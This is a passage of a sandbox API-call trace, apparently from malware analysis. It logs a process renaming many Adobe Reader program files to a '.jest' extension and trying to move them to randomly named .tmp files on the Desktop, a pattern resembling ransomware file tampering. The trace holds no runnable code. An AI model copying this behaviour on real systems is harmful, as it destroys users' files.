wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.849] CoFreeUnusedLibraries () [0151.849] GetTickCount () returned 0x1157ba6 [0151.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.849] GetTickCount () returned 0x1157ba6 [0151.849] IsWindowVisible (hWnd=0x30268) returned 0 [0151.849] Sleep (dwMilliseconds=0x0) [0151.850] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WBz2PQWFQgbv-c5kglS0ZJA8Zy2lGJnVkh h3S-v1_3vfEsPQf2ZkHEqHCSlZeCWrjayJZAaPrrRQokknYGWFIZiiqwbAZKfWuGA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wbz2pqwfqgbv-c5kgls0zja8zy2lgjnvkh h3s-v1_3vfespqf2zkheqhcslzecwrjayjzaaprrrqokknygwfiziiqwbazkfwuga.tmp")) returned 0 [0151.850] GetLastError () returned 0x2 [0151.851] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf.jest")) returned 1 [0151.852] GetLastError () returned 0x0 [0151.853] VarBstrFromR4 (in: fltIn=0x479450c5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.54") returned 0x0 [0151.854] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qeH-Sy3S5H-Mcwvqz 9kZhhmd5ozSo2GdIJb3GNUkbCF_XsVUgIUc8KcWVKLxUjHHI02Zmrumd_hZTdtyU0OW6KJxNwRI_vGxBEB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qeh-sy3s5h-mcwvqz 9kzhhmd5ozso2gdijb3gnukbcf_xsvugiuc8kcwvklxujhhi02zmrumd_hztdtyu0ow6kjxnwri_vgxbeb.tmp")) returned 0 [0151.854] GetLastError () returned 0x2 [0151.855] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf.jest")) returned 1 [0151.856] GetLastError () returned 0x0 [0151.856] VarBstrFromR4 (in: fltIn=0x479450c5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.54") returned 0x0 [0151.857] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zh0V-1pRBBulcw3lbdFxGlEEouHM_Bf1q8erJaSew8NLs326PgvwsNXfxuO-R2dEOQdg-0RRDKUUrFUZSU9JOvF30mBCh00Hk057.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zh0v-1prbbulcw3lbdfxgleeouhm_bf1q8erjasew8nls326pgvwsnxfxuo-r2deoqdg-0rrdkuurfuzsu9jovf30mbch00hk057.tmp")) returned 0 [0151.857] GetLastError () returned 0x2 [0151.864] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css.jest")) returned 1 [0151.868] GetLastError () returned 0x0 [0151.868] VarBstrFromR4 (in: fltIn=0x479450c7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.55") returned 0x0 [0151.869] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mg7dm7pm9D_U7FwCJRX-fEmDE3vSVXHE2SyO-o4-Ld- j4fLsUH0I94RGL_r1qrgXteQREq6GrwC11BjouTo58gL2Gsje4ssAdQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mg7dm7pm9d_u7fwcjrx-femde3vsvxhe2syo-o4-ld- j4flsuh0i94rgl_r1qrgxteqreq6grwc11bjouto58gl2gsje4ssadq.tmp")) returned 0 [0151.870] GetLastError () returned 0x2 [0151.876] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer.jest")) returned 1 [0151.877] GetLastError () returned 0x0 [0151.878] VarBstrFromR4 (in: fltIn=0x479450c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.57") returned 0x0 [0151.879] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\et9IJmD9E0gBuhdfh BcCrLyo3rv 9dsLJTJbm4MhM4 VjjBTHlfAHJrlXsxeU4_LoLrl1uayiM6UT2giyEMVYpV2_BmrpvXFBcjs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\et9ijmd9e0gbuhdfh bccrlyo3rv 9dsljtjbm4mhm4 vjjbthlfahjrlxsxeu4_lolrl1uayim6ut2giyemvypv2_bmrpvxfbcjs.tmp")) returned 0 [0151.879] GetLastError () returned 0x2 [0151.882] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf.jest")) returned 1 [0151.883] GetLastError () returned 0x0 [0151.884] VarBstrFromR4 (in: fltIn=0x479450c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.57") returned 0x0 [0151.885] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEaASn4LGwoLp0R6BnYpWkmW8qYExF9RJRTv4htviuviebf_E7PRSnT3c3f52EZ_vL6nUxW2s9QjEcixLRpIRH5BGsl0YvVNYraiR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weaasn4lgwolp0r6bnypwkmw8qyexf9rjrtv4htviuviebf_e7prsnt3c3f52ez_vl6nuxw2s9qjecixlrpirh5bgsl0yvvnyrair.tmp")) returned 0 [0151.885] GetLastError () returned 0x2 [0151.885] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf.jest")) returned 1 [0151.886] GetLastError () returned 0x0 [0151.887] VarBstrFromR4 (in: fltIn=0x479450c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.57") returned 0x0 [0151.887] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\inMPev0I0FZKNhfICDYX47qweygcZEvpO_CQCwklBj9luGbpsMwEz9fwzD-wXQ839tFKg2NoMBobXbLOKm2_SYHzwF8KhtSDCLh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\inmpev0i0fzknhficdyx47qweygczevpo_cqcwklbj9lugbpsmwez9fwzd-wxq839tfkg2nombobxblokm2_syhzwf8khtsdclh.tmp")) returned 0 [0151.888] GetLastError () returned 0x2 [0151.889] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf.jest")) returned 1 [0151.890] GetLastError () returned 0x0 [0151.890] VarBstrFromR4 (in: fltIn=0x479450c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.57") returned 0x0 [0151.891] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wq-C9jSkD2l1MT3 UGBU_wLrTg8ept0IuqygySfbrNojNDmo18y3jxNfS8ekpFj-tzf-IYqYEXu1g8jSWfygubAK5JZgNXcpgue6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wq-c9jskd2l1mt3 ugbu_wlrtg8ept0iuqygysfbrnojndmo18y3jxnfs8ekpfj-tzf-iyqyexu1g8jswfygubak5jzgnxcpgue6.tmp")) returned 0 [0151.891] GetLastError () returned 0x2 [0151.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf.jest")) returned 1 [0151.893] GetLastError () returned 0x0 [0151.893] VarBstrFromR4 (in: fltIn=0x479450cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.59") returned 0x0 [0151.894] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nj1Jp8TnzFGWfGQsI8Cb3KPlyqCZE1z R8x sKW0vshqiOU3bKRmmAp6mdZexxuhS2Y7g_JFxxFOq5ShiE9J0vCqtGqzTb40t-L.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nj1jp8tnzfgwfgqsi8cb3kplyqcze1z r8x skw0vshqiou3bkrmmap6mdzexxuhs2y7g_jfxxfoq5shie9j0vcqtgqztb40t-l.tmp")) returned 0 [0151.894] GetLastError () returned 0x2 [0151.895] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf.jest")) returned 1 [0151.896] GetLastError () returned 0x0 [0151.896] VarBstrFromR4 (in: fltIn=0x479450cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.59") returned 0x0 [0151.897] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fYwxut j1PKpIeh64XL5WV-57V4CGhuUoW2o2y2dNzJCrCymAZk21e8AnzOYEWd1vlb90K5xTfHYKDFXF06WYIIdUUECVxKBegEt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fywxut j1pkpieh64xl5wv-57v4cghuuow2o2y2dnzjcrcymazk21e8anzoyewd1vlb90k5xtfhykdfxf06wyiiduuecvxkbeget.tmp")) returned 0 [0151.897] GetLastError () returned 0x2 [0151.898] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf.jest")) returned 1 [0151.899] GetLastError () returned 0x0 [0151.899] VarBstrFromR4 (in: fltIn=0x479450cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.59") returned 0x0 [0151.900] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GR7JgMGOAWI hke4_Ho2tQ_gRVnUQ4MJcvqMr9zf0vki4kUqSvPFxYv-DHOfOqVG5sdQ2_tOlgDO6kz9rHSBhtsFSlITso9eiTWay.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gr7jgmgoawi hke4_ho2tq_grvnuq4mjcvqmr9zf0vki4kuqsvpfxyv-dhofoqvg5sdq2_tolgdo6kz9rhsbhtsfslitso9eitway.tmp")) returned 0 [0151.900] GetLastError () returned 0x2 [0151.901] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf.jest")) returned 1 [0151.902] GetLastError () returned 0x0 [0151.903] VarBstrFromR4 (in: fltIn=0x479450cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.59") returned 0x0 [0151.904] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1IDdr0uXGVVRXPp9i8k7tLQYhrD b0VpD1drFzPorQjs1MNTC1JOpSh1BWMCOZ4GT6QkVsuEWr4GiInn7eSx2TxcJo_mP_lb8I4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1iddr0uxgvvrxpp9i8k7tlqyhrd b0vpd1drfzporqjs1mntc1jopsh1bwmcoz4gt6qkvsuewr4giinn7esx2txcjo_mp_lb8i4.tmp")) returned 0 [0151.904] GetLastError () returned 0x2 [0151.906] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf.jest")) returned 1 [0151.907] GetLastError () returned 0x0 [0151.907] VarBstrFromR4 (in: fltIn=0x479450cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.6") returned 0x0 [0151.908] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x vFqZYgMYh-S5Q kWz1mKjKsqj5TNbdhceG_vSKn5LJXl8kwx9__lK5-fVMzFr9dgvB5VcX_2N4cwWjgBL6qIyxWvd15kkuEdOxx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x vfqzygmyh-s5q kwz1mkjksqj5tnbdhceg_vskn5ljxl8kwx9__lk5-fvmzfr9dgvb5vcx_2n4cwwjgbl6qiyxwvd15kkuedoxx.tmp")) returned 0 [0151.908] GetLastError () returned 0x2 [0151.909] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf.jest")) returned 1 [0151.910] GetLastError () returned 0x0 [0151.910] VarBstrFromR4 (in: fltIn=0x479450cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.6") returned 0x0 [0151.911] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YePXpHln70CvNdP9857nea9cfeR6rZtnROuUoqujrCvxxRss6vAtXzVfd4VUcyuXxdEi06ANfLU9KWFU0kKhCXoXw98aI2qqit9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yepxphln70cvndp9857nea9cfer6rztnrouuoqujrcvxxrss6vatxzvfd4vucyuxxdei06anflu9kwfu0kkhcxoxw98ai2qqit9.tmp")) returned 0 [0151.911] GetLastError () returned 0x2 [0151.912] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf.jest")) returned 1 [0151.913] GetLastError () returned 0x0 [0151.914] VarBstrFromR4 (in: fltIn=0x479450cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.6") returned 0x0 [0151.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2VkgeZAXec8vF6elvJZlM8dGTHX7zfSEI8B90hb1dzB0deCIMVODywI6ylgKY_cyNP3AalBuFCDltnLQaUOpzTmhy6Y5nHkSVCLUq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2vkgezaxec8vf6elvjzlm8dgthx7zfsei8b90hb1dzb0decimvodywi6ylgky_cynp3aalbufcdltnlqauopztmhy6y5nhksvcluq.tmp")) returned 0 [0151.915] GetLastError () returned 0x2 [0151.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf.jest")) returned 1 [0151.916] GetLastError () returned 0x0 [0151.917] VarBstrFromR4 (in: fltIn=0x479450cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.6") returned 0x0 [0151.918] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eS5WbWnq2eVyqIs1QjuwspgST2jf 8RcQcIAjzBS8nACeGnv -b6z5WjCW7jl0i8JnITdFGMZ6-H_YQwv-H8QsjDP63GWbuTG7ey.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\es5wbwnq2evyqis1qjuwspgst2jf 8rcqciajzbs8nacegnv -b6z5wjcw7jl0i8jnitdfgmz6-h_yqwv-h8qsjdp63gwbutg7ey.tmp")) returned 0 [0151.918] GetLastError () returned 0x2 [0151.918] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf.jest")) returned 1 [0151.919] GetLastError () returned 0x0 [0151.920] VarBstrFromR4 (in: fltIn=0x479450cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.6") returned 0x0 [0151.921] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ozbcx Jbv6y14I3bUkh4BcUp31xO4ChFtuGocw5YOi3UsqpF1JG5MnPdn 3meMKbUY5zLQGWXpqEVWkA4OBZDzrgBcphSbA fbQQc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ozbcx jbv6y14i3bukh4bcup31xo4chftugocw5yoi3usqpf1jg5mnpdn 3memkbuy5zlqgwxpqevwka4obzdzrgbcphsba fbqqc.tmp")) returned 0 [0151.921] GetLastError () returned 0x2 [0151.922] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf.jest")) returned 1 [0151.924] GetLastError () returned 0x0 [0151.924] VarBstrFromR4 (in: fltIn=0x479450cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.62") returned 0x0 [0151.925] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c3-OMODRzJSkbclVli-aCogA6TVJKI2VbYeV7-gGb51FbIjrG8tYwOdf5znGh8esVjN_EZEGcU6S9qBwsH2mnCQl4TrKrHqZLmes.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c3-omodrzjskbclvli-acoga6tvjki2vbyev7-ggb51fbijrg8tywodf5zngh8esvjn_ezegcu6s9qbwsh2mncql4trkrhqzlmes.tmp")) returned 0 [0151.926] GetLastError () returned 0x2 [0151.927] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf.jest")) returned 1 [0151.928] GetLastError () returned 0x0 [0151.928] VarBstrFromR4 (in: fltIn=0x479450cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.62") returned 0x0 [0151.929] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GD-T0rT_xruXXpXHUB7L3cjXeVnf 